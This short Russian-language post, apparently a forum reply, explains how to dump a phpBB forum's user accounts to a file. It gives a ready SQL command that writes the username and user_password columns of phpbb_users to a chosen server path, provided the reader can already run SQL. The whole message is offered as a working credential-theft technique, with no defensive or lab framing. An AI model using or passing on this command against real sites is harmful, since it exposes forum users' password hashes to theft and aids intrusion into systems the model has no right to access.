Если знаешь полный путь слей её в файл командой
SELECT username,user_password INTO OUTFILE 'полный путь до файла' FROM phpbb_users
При условии что можешь выполнять SQL команды